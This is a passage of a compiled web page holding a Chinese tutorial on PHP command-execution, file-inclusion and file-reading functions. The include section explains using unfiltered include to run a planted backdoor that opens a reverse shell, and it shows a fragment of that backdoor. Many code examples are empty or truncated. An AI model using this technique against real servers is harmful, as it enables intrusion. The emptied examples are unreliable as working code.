void\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-12",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"path\uff1apath\u5fc5\u987b\u65f6\u53ef\u6267\u884c\u4e8c\u8fdb\u5236\u6587\u4ef6\u8def\u5f84\u6216\u5728\u4e00\u4e2a\u6587\u4ef6\u7b2c\u4e00\u884c\u6307\u5b9a\u4e86\u4e00\u4e2a\u53ef\u6267\u884c\u6587\u4ef6\u8def\u5f84\u6807\u5934\u7684\u811a\u672c(\u6bd4\u5982\u6587\u4ef6\u7b2c\u4e00\u884c\u662f#!/usr/local/bin/perl\u7684perl\u811a\u672c)"}),"\n",(0,r.jsx)(e.li,{children:"args\uff1a\u6b64\u53c2\u6570\u662f\u4e00\u4e2a\u4f20\u9012\u7ed9\u7a0b\u5e8f\u7684\u53c2\u6570\u7684\u5b57\u7b26\u4e32\u6570\u7ec4"}),"\n",(0,r.jsx)(e.li,{children:"envs\uff1a\u73af\u5883\u53d8\u91cf\uff0c\u8fd9\u4e2a\u60f3\u5fc5\u5927\u5bb6\u90fd\u5f88\u719f\u6089\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u91cc\u5f3a\u8c03\u4e00\u70b9\uff0c\u8fd9\u91cc\u4f20\u5165\u7684\u662f\u6570\u7ec4\uff0c\u6570\u7ec4\u683c\u5f0f\u662f key => value\u683c\u5f0f\u7684\uff0ckey\u4ee3\u8868\u8981\u4f20\u9012\u7684\u73af\u5883\u53d8\u91cf\u7684\u540d\u79f0\uff0cvalue\u4ee3\u8868\u8be5\u73af\u5883\u53d8\u91cf\u503c\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//father\n\n"})}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"//son\n\n"})}),"\n",(0,r.jsx)(e.h3,{id:"popen",children:"popen()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u4f7f\u7528command\u53c2\u6570\u6253\u5f00\u8fdb\u7a0b\u6587\u4ef6\u6307\u9488\u3002\u5982\u679c\u51fa\u9519\uff0c\u90a3\u4e48\u8be5\u51fd\u6570\u5c31\u4f1a\u8fd4\u56deFALSE\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"popen(command,mode)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-13",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"command\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsxs)(e.li,{children:["mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8fde\u63a5\u7684\u6a21\u5f0f\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"r\uff1a\u53ea\u8bfb"}),"\n",(0,r.jsx)(e.li,{children:"w\uff1a\u53ea\u5199\uff08\u6253\u5f00\u5e76\u6e05\u7a7a\u5df2\u6709\u6587\u4ef6\u6216\u521b\u5efa\u4e00\u4e2a\u65b0\u6587\u4ef6\uff09"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\n\n'})}),"\n",(0,r.jsx)(e.h3,{id:"proc_open",children:"proc_open()"}),"\n",(0,r.jsx)(e.p,{children:"\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u547d\u4ee4\uff0c\u5e76\u4e14\u6253\u5f00\u7528\u6765\u8f93\u5165\u6216\u8005\u8f93\u51fa\u7684\u6587\u4ef6\u6307\u9488"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"proc_open( string $cmd, array $descriptorspec, array &$pipes[, string $cwd = NULL[, array $env = NULL[, array $other_options = NULL]]] ) \n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u5176\u5b9e\u548c",(0,r.jsx)(e.code,{children:"popen"}),"\u51fd\u6570\u7c7b\u4f3c\uff0c\u90fd\u662f\u6267\u884c\u547d\u4ee4"]}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-14",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"cmd\uff1a\u8981\u6267\u884c\u7684\u547d\u4ee4"}),"\n",(0,r.jsx)(e.li,{children:"descriptorspec\uff1a\u7d22\u5f15\u6570\u7ec4\u3002\u6570\u7ec4\u4e2d\u7684\u952e\u503c\u8868\u793a\u63cf\u8ff0\u7b26\uff0c\u5143\u7d20\u503c\u8868\u793a PHP \u5982\u4f55\u5c06\u8fd9\u4e9b\u63cf\u8ff0\u7b26\u4f20\u9001\u81f3\u5b50\u8fdb\u7a0b\u30020 \u8868\u793a\u6807\u51c6\u8f93\u5165\uff08stdin\uff09\uff0c1 \u8868\u793a\u6807\u51c6\u8f93\u51fa\uff08stdout\uff09\uff0c2 \u8868\u793a\u6807\u51c6\u9519\u8bef\uff08stderr\uff09\u3002"}),"\n",(0,r.jsx)(e.li,{children:"pipes\uff1a\u5c06\u88ab\u7f6e\u4e3a\u7d22\u5f15\u6570\u7ec4\uff0c\u5176\u4e2d\u7684\u5143\u7d20\u662f\u88ab\u6267\u884c\u7a0b\u5e8f\u521b\u5efa\u7684\u7ba1\u9053\u5bf9\u5e94\u5230PHP\u8fd9\u4e00\u6bb5\u7684\u6587\u4ef6\u6307\u9488\u3002"}),"\n",(0,r.jsx)(e.li,{children:"cwd\uff1a\u8981\u6267\u884c\u547d\u4ee4\u7684\u521d\u59cb\u5de5\u4f5c\u76ee\u5f55\u3002\u5fc5\u9700\u662f\u7edd\u5bf9\u8def\u5f84\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4f7f\u7528 NULL\uff08\u8868\u793a\u5f53\u524d PHP \u8fdb\u7a0b\u7684\u5de5\u4f5c\u76ee\u5f55\uff09"}),"\n",(0,r.jsx)(e.li,{children:"env\u3002\u8981\u6267\u884c\u547d\u4ee4\u6240\u4f7f\u7528\u7684\u73af\u5883\u53d8\u91cf\u3002\u6b64\u53c2\u6570\u9ed8\u8ba4\u4e3a NULL\uff08\u8868\u793a\u548c\u5f53\u524d PHP \u8fdb\u7a0b\u76f8\u540c\u7684\u73af\u5883\u53d8\u91cf\uff09"}),"\n",(0,r.jsxs)(e.li,{children:["other_options\uff1a\u53ef\u9009\u3002\u9644\u52a0\u9009\u9879\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"suppress_errors \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u6291\u5236\u672c\u51fd\u6570\u4ea7\u751f\u7684\u9519\u8bef\u3002"}),"\n",(0,r.jsx)(e.li,{children:"bypass_shell \uff08\u4ec5\u7528\u4e8e Windows \u5e73\u53f0\uff09\uff1a\u8bbe\u7f6e\u4e3a TRUE \u8868\u793a\u7ed5\u8fc7 cmd.exe shell\u3002"}),"\n"]}),"\n"]}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u8bf4\u767d\u4e86\uff0c\u5176\u5b9e\u5c31\u662f\u6267\u884c\u547d\u4ee4\uff0c\u53ea\u4e0d\u8fc7\u5176\u4e2d\u591a\u4e86\u4e00\u4e9b\u9009\u9879\uff0c\u5305\u62ec\u76ee\u5f55\u7684\uff0c\u73af\u5883\u53d8\u91cf\u7684\u7b49\u3002"}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'$descriptorspec = array(\n\t\t\t0 => array("pipe", "r"),\t//\u6807\u51c6\u8f93\u5165\uff0c\u5b50\u8fdb\u7a0b\u4ece\u6b64\u7ba1\u9053\u8bfb\u53d6\u6570\u636e\n\t\t\t1 => array("pipe", "w"),\t//\u6807\u51c6\u8f93\u51fa\uff0c\u5b50\u8fdb\u7a0b\u5411\u6b64\u7ba1\u9053\u5199\u5165\u6570\u636e\n\t\t\t2 => array("file", "/opt/figli/php/error-output.txt","a")\t//\u6807\u51c6\u9519\u8bef\uff0c\u5199\u5165\u5230\u6307\u5b9a\u6587\u4ef6\n\t\t\t);\n \n \n\t$process = proc_open("ls -a", $descriptorspec, $pipes);\n \n\tif(is_resource($process)){\n \n\t\techo stream_get_contents($pipes[1]);\n\t\tfclose($pipes[1]);\n \n\t\tproc_close($process);\t//\u5728\u8c03\u7528proc_close\u4e4b\u524d\u5fc5\u987b\u5173\u95ed\u6240\u6709\u7ba1\u9053\n\t}\n'})}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u5305\u542b",children:"\u6587\u4ef6\u5305\u542b"}),"\n",(0,r.jsx)(e.h3,{id:"include",children:"include()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"include"}),"\u5c06\u4f1a\u5305\u542b\u8bed\u53e5\u5e76\u6267\u884c\u6307\u5b9a\u6587\u4ef6"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"include 'filename';\n"})}),"\n",(0,r.jsxs)(e.p,{children:["\u5173\u952e\u70b9\u5c31\u5728\u4e8e\u6267\u884c\u6307\u5b9a\u6587\u4ef6\uff0c\u6267\u884c\u7ed9\u4e86\u6211\u4eec\u4ee3\u7801\u6267\u884c\u7684\u673a\u4f1a\u3002\u5018\u82e5\u6b64\u65f6\u6211\u4eec\u6784\u9020\u4e86\u4e00\u4e2a\u540e\u95e8\u6587\u4ef6\uff0c\u9700\u8981\u5728\u76ee\u6807\u673a\u5668\u6267\u884c\u8fdb\u884cshell\u53cd\u5f39\uff0c\u90a3\u4e48\u5982\u679c\u4ee3\u7801\u4e2d\u6709",(0,r.jsx)(e.code,{children:"include"}),"\u800c\u4e14\u6ca1\u6709\u8fdb\u884c\u8fc7\u6ee4\uff0c\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4f7f\u7528\u8be5\u51fd\u6570\u6765\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\u3002\u4e0b\u9762\u6211\u6765\u6f14\u793a\u4e00\u4e0b\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801(1.php)\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(e.p,{children:"\u793a\u4f8b\u4ee3\u7801(2.php)\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'&3 2>&3");\n\techo \'

[*]backdoor is running!

\';\n?>\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6267\u884c\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{src:"https://cdn.wjlin0.com/img/202508191648094.png",alt:"img"})}),"\n",(0,r.jsx)(e.h3,{id:"include_once",children:"include_once()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"include_once"}),"\u4e0e",(0,r.jsx)(e.code,{children:"include"}),"\u6ca1\u6709\u592a\u5927\u533a\u522b\uff0c\u552f\u4e00\u7684\u5176\u533a\u522b\u5df2\u7ecf\u5728\u540d\u79f0\u4e2d\u4f53\u73b0\u4e86\uff0c\u5c31\u662f\u76f8\u540c\u7684\u6587\u4ef6\u53ea\u5305\u542b\u4e00\u6b21\u3002\u5176\u4ed6\u529f\u80fd\u548c",(0,r.jsx)(e.code,{children:"include_once"}),"\u4e00\u6837\uff0c\u53ea\u662f\u589e\u52a0\u5bf9\u6bcf\u4e2a\u6587\u4ef6\u5305\u542b\u7684\u6b21\u6570\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"require",children:"require()"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"require"}),"\u7684\u5b9e\u73b0\u548c",(0,r.jsx)(e.code,{children:"include"}),"\u529f\u80fd\u51e0\u4e4e\u5b8c\u5168\u76f8\u540c\uff0c\u90a3\u65e2\u7136\u4e00\u6837\u4e3a\u4ec0\u4e48\u8fd8\u8981\u591a\u4e00\u4e2a\u8fd9\u6837\u7684\u51fd\u6570\u5462\uff1f( \u6211\u4e5f\u4e0d\u77e5\u9053)"]}),"\n",(0,r.jsx)(e.p,{children:"\u5176\u5b9e\u4e24\u8005\u8fd8\u662f\u6709\u70b9\u533a\u522b\u7684\uff0c\u4ec0\u4e48\u533a\u522b\u5462\uff1f\u8fd9\u4e48\u8bf4\uff0c\u5982\u679c\u4f60\u5305\u542b\u7684\u6587\u4ef6\u7684\u4ee3\u7801\u91cc\u9762\u6709\u9519\u8bef\uff0c\u4f60\u89c9\u5f97\u4f1a\u53d1\u751f\u4ec0\u4e48\uff1f\u662f\u7ee7\u7eed\u6267\u884c\u5305\u542b\u7684\u6587\u4ef6\uff0c\u8fd8\u662f\u505c\u6b62\u6267\u884c\u5462\uff1f\u6240\u4ee5\u533a\u522b\u5c31\u5728\u8fd9\u91cc\u4ea7\u751f\u4e86\u3002"}),"\n",(0,r.jsxs)(e.p,{children:[(0,r.jsx)(e.code,{children:"require"}),"\u5728\u51fa\u9519\u65f6\u4f1a\u5bfc\u81f4\u811a\u672c\u7ec8\u6b62\uff0c\u800c",(0,r.jsx)(e.code,{children:"include"}),"\u5728\u51fa\u9519\u65f6\u53ea\u662f\u53d1\u751f\u8b66\u544a\uff0c\u811a\u672c\u8fd8\u662f\u7ee7\u7eed\u6267\u884c\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"require_once",children:"require_once()"}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u4e2a\u6211\u89c9\u5f97\u4f60\u770b\u5b8c\u4e0a\u9762\u7684\uff0c\u5e94\u8be5\u5c31\u61c2\u4e86\u3002\u8fd9\u4e24\u8005\u5173\u7cfb\u548c",(0,r.jsx)(e.code,{children:"include"}),"\u4e0e",(0,r.jsx)(e.code,{children:"include_once"}),"\u7684\u5173\u7cfb\u662f\u4e00\u6837\u7684\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"\u603b\u7ed3-1",children:"\u603b\u7ed3"}),"\n",(0,r.jsx)(e.p,{children:"\u6587\u4ef6\u5305\u542b\u6709\u5f88\u591a\u5229\u7528\u624b\u6bb5\uff0c\u5176\u4e2d\u5728\u5b9e\u9645\u73af\u5883\u4e2d\uff0c\u4f8b\u5982\u6211\u4eec\u5411\u670d\u52a1\u5668\u5199\u5165\u4e86\u540e\u95e8\uff0c\u4f46\u662f\u6211\u4eec\u65e0\u6cd5\u76f4\u63a5\u8fde\u63a5\u670d\u52a1\u5668\uff0c\u90a3\u4e48\u5982\u679c\u6709\u6587\u4ef6\u5305\u542b\u51fd\u6570\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u6587\u4ef6\u5305\u542b\u51fd\u6570\u5305\u542b\u6267\u884c\u6211\u4eec\u7684\u540e\u95e8\u51fd\u6570\uff0c\u8ba9\u670d\u52a1\u5668\u53cd\u5f39\u8fde\u63a5\u6211\u4eec\u3002\u5c82\u4e0d\u7f8e\u54c9\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u6587\u4ef6\u8bfb\u53d6\u4e0b\u8f7d",children:"\u6587\u4ef6\u8bfb\u53d6(\u4e0b\u8f7d)"}),"\n",(0,r.jsx)(e.h3,{id:"file_get_contents",children:"file_get_contents()"}),"\n",(0,r.jsx)(e.p,{children:"\u51fd\u6570\u529f\u80fd\u662f\u5c06\u6574\u4e2a\u6587\u4ef6\u8bfb\u5165\u4e00\u4e2a\u5b57\u7b26\u4e32"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"file_get_contents(path,include_path,context,start,max_length)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-15",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u8981\u8bfb\u53d6\u6587\u4ef6\u7684\u540d\u79f0\u3002"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5982\u679c\u4e5f\u60f3\u5728 include_path \u4e2d\u641c\u7d22\u6587\u4ef6\uff0c\u53ef\u4ee5\u8bbe\u7f6e\u4e3a1\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.li,{children:"start\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u4e2d\u5f00\u59cb\u8bfb\u53d6\u7684\u4f4d\u7f6e\u3002"}),"\n",(0,r.jsx)(e.li,{children:"max_length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n"})}),"\n",(0,r.jsx)(e.h3,{id:"fopen",children:"fopen()"}),"\n",(0,r.jsxs)(e.p,{children:["\u6b64\u51fd\u6570\u5c06\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\u6216URL\uff0c\u5982\u679c fopen() \u5931\u8d25\uff0c\u5b83\u5c06\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u5728\u51fd\u6570\u540d\u524d\u9762\u6dfb\u52a0\u4e00\u4e2a ",(0,r.jsx)(e.code,{children:"@"})," \u6765\u9690\u85cf\u9519\u8bef\u8f93\u51fa\u3002"]}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"fopen(filename,mode,include_path,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-16",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u6253\u5f00\u7684\u6587\u4ef6\u6216URL"}),"\n",(0,r.jsx)(e.li,{children:"mode\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8bbf\u95ee\u7c7b\u578b\uff08\u4f8b\u5982\u53ea\u8bfb\uff0c\u53ea\u5199\uff0c\u8bfb\u5199\u65b9\u5f0f\u7b49\uff0c\u65b9\u5f0f\u7684\u89c4\u5b9a\u548c\u5176\u4ed6\u8bed\u8a00\u7684\u89c4\u5b9a\u65b9\u5f0f\u4e00\u81f4\uff09"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u5c31\u662f\u4f60\u53ef\u4ee5\u6307\u5b9a\u641c\u7d22\u7684\u8def\u5f84\u4f4d\u7f6e\uff0c\u5982\u679c\u8981\u6307\u5b9a\u7684\u8bdd\uff0c\u90a3\u4e48\u8be5\u53c2\u6570\u8981\u6307\u5b9a\u4e3a- context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u53e5\u67c4\u7684\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo text\n'})}),"\n",(0,r.jsxs)(e.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u4e2d\u5176\u5b9e\u4e5f\u5305\u542b\u4e86",(0,r.jsx)(e.code,{children:"fread"}),"\u7684\u7528\u6cd5\u3002\u56e0\u4e3a",(0,r.jsx)(e.code,{children:"fread"}),"\u4ec5\u4ec5\u53ea\u662f\u6253\u5f00\u4e00\u4e2a\u6587\u4ef6\uff0c\u8981\u60f3\u8bfb\u53d6\u8fd8\u5f97\u9700\u8981\u7528\u5230",(0,r.jsx)(e.code,{children:"fread"}),"\u6765\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002"]}),"\n",(0,r.jsx)(e.h3,{id:"fread",children:"fread()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u521a\u624d\u5728\u4e0a\u4e2a\u51fd\u6570\u4e2d\u57fa\u672c\u5df2\u7ecf\u6f14\u793a\u8fc7\u4e86\uff0c\u5c31\u662f\u8bfb\u53d6\u6587\u4ef6\u5185\u5bb9\u3002\u8fd9\u91cc\u4ee3\u7801\u5c31\u4e0d\u518d\u6f14\u793a\u4e86\uff0c\u7b80\u5355\u4ecb\u7ecd\u4e00\u4e0b\u53c2\u6570\u548c\u7528\u6cd5\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"string fread ( resource $handle , int $length )\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-17",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["handle\uff1a\u6587\u4ef6\u7cfb\u7edf\u6307\u9488\uff0c\u662f\u5178\u578b\u5730\u7531 ",(0,r.jsx)(e.code,{children:"fopen"}),"\u521b\u5efa\u7684",(0,r.jsx)(e.code,{children:"resource"}),"\u3002"]}),"\n",(0,r.jsx)(e.li,{children:"length\uff1a\u5fc5\u9700\u3002\u4f60\u8981\u8bfb\u53d6\u7684\u6700\u5927\u5b57\u8282\u6570\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.h3,{id:"fgets",children:"fgets()"}),"\n",(0,r.jsx)(e.p,{children:"\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u4e00\u884c"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"fgets(file,length) \n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-18",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\u3002\u9ed8\u8ba4\u662f1024\u5b57\u8282\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u53ef\u4ee5\u770b\u51fa\u8fd9\u4e2a\u51fd\u6570\u548c\u4e4b\u524d\u7684fread\u533a\u522b\u4e0d\u662f\u5f88\u5927\uff0c\u53ea\u4e0d\u8fc7\u8fd9\u4e2a\u8bfb\u53d6\u7684\u662f\u4e00\u884c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"fgetss",children:"fgetss()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u8ddf\u4e0a\u4e2a\u6ca1\u4ec0\u4e48\u5dee\u522b\uff0c\u4e5f\u662f\u4ece\u6253\u5f00\u7684\u6587\u4ef6\u4e2d\u8bfb\u53d6\u53bb\u4e00\u884c\uff0c\u53ea\u4e0d\u8fc7\u8fc7\u6ee4\u6389\u4e86 HTML \u548c PHP \u6807\u7b7e\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"fgetss(file,length,tags)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-19",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"file\uff1a\u5fc5\u9700\u3002\u8981\u68c0\u67e5\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"length\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u8bfb\u53d6\u7684\u5b57\u8282\u6570\uff0c\u9ed8\u8ba41024\u5b57\u8282\u3002"}),"\n",(0,r.jsx)(e.li,{children:"tags\uff1a\u53ef\u9009\u3002\u54ea\u4e9b\u6807\u8bb0\u4e0d\u53bb\u6389\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n\ndemo.html\u4ee3\u7801\n

I am a demo

\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo\n'})}),"\n",(0,r.jsx)(e.h3,{id:"readfile",children:"readfile()"}),"\n",(0,r.jsx)(e.p,{children:"\u8fd9\u4e2a\u51fd\u6570\u4ece\u540d\u79f0\u57fa\u672c\u5c31\u77e5\u9053\u5b83\u662f\u5e72\u5565\u7684\u4e86\uff0c\u8bfb\u6587\u4ef6\u7528\u7684\u3002\u6b64\u51fd\u6570\u5c06\u8bfb\u53d6\u4e00\u4e2a\u6587\u4ef6\uff0c\u5e76\u5199\u5165\u5230\u8f93\u51fa\u7f13\u51b2\u4e2d\u3002\u5982\u679c\u6210\u529f\uff0c\u8be5\u51fd\u6570\u8fd4\u56de\u4ece\u6587\u4ef6\u4e2d\u8bfb\u5165\u7684\u5b57\u8282\u6570\u3002\u5982\u679c\u5931\u8d25\uff0c\u8be5\u51fd\u6570\u8fd4\u56de FALSE \u5e76\u9644\u5e26\u9519\u8bef\u4fe1\u606f\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"readfile(filename,include_path,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-20",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"filename\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u8981\u641c\u7d22\u7684\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u89c4\u5b9a\u6587\u4ef6\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'" . readfile("demo.txt");\n?>\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nI am a demo:) I am a demo:(\n'})}),"\n",(0,r.jsx)(e.p,{children:"\u6211\u4eec\u770b\u5230\u4e0d\u4ec5\u8f93\u51fa\u4e86\u6240\u6709\u5185\u5bb9\uff0c\u800c\u4e14\u8fd8\u8f93\u51fa\u4e86\u603b\u5171\u957f\u5ea6\u3002\u4f46\u662f\u6ca1\u6709\u8f93\u51fa\u6362\u884c\u3002"}),"\n",(0,r.jsx)(e.h3,{id:"file",children:"file()"}),"\n",(0,r.jsx)(e.p,{children:"\u628a\u6587\u4ef6\u8bfb\u5165\u5230\u4e00\u4e2a\u6570\u7ec4\u4e2d\uff0c\u6570\u7ec4\u4e2d\u6bcf\u4e00\u4e2a\u5143\u7d20\u5bf9\u5e94\u7684\u662f\u6587\u4ef6\u4e2d\u7684\u4e00\u884c\uff0c\u5305\u62ec\u6362\u884c\u7b26\u3002"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:"file(path,include_path,context)\n"})}),"\n",(0,r.jsx)(e.h4,{id:"\u53c2\u6570-21",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"path\uff1a\u5fc5\u9700\u3002\u8981\u8bfb\u53d6\u7684\u6587\u4ef6\u3002"}),"\n",(0,r.jsx)(e.li,{children:"include_path\uff1a\u53ef\u9009\u3002\u53ef\u6307\u5b9a\u641c\u7d22\u8def\u5f84\u3002"}),"\n",(0,r.jsx)(e.li,{children:"context\uff1a\u53ef\u9009\u3002\u8bbe\u7f6e\u53e5\u67c4\u73af\u5883\u3002"}),"\n"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(e.pre,{children:(0,r.jsx)(e.code,{className:"language-php",children:'\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\nArray \n( \n[0] => I am the first line! \n[1] => I am the second line! 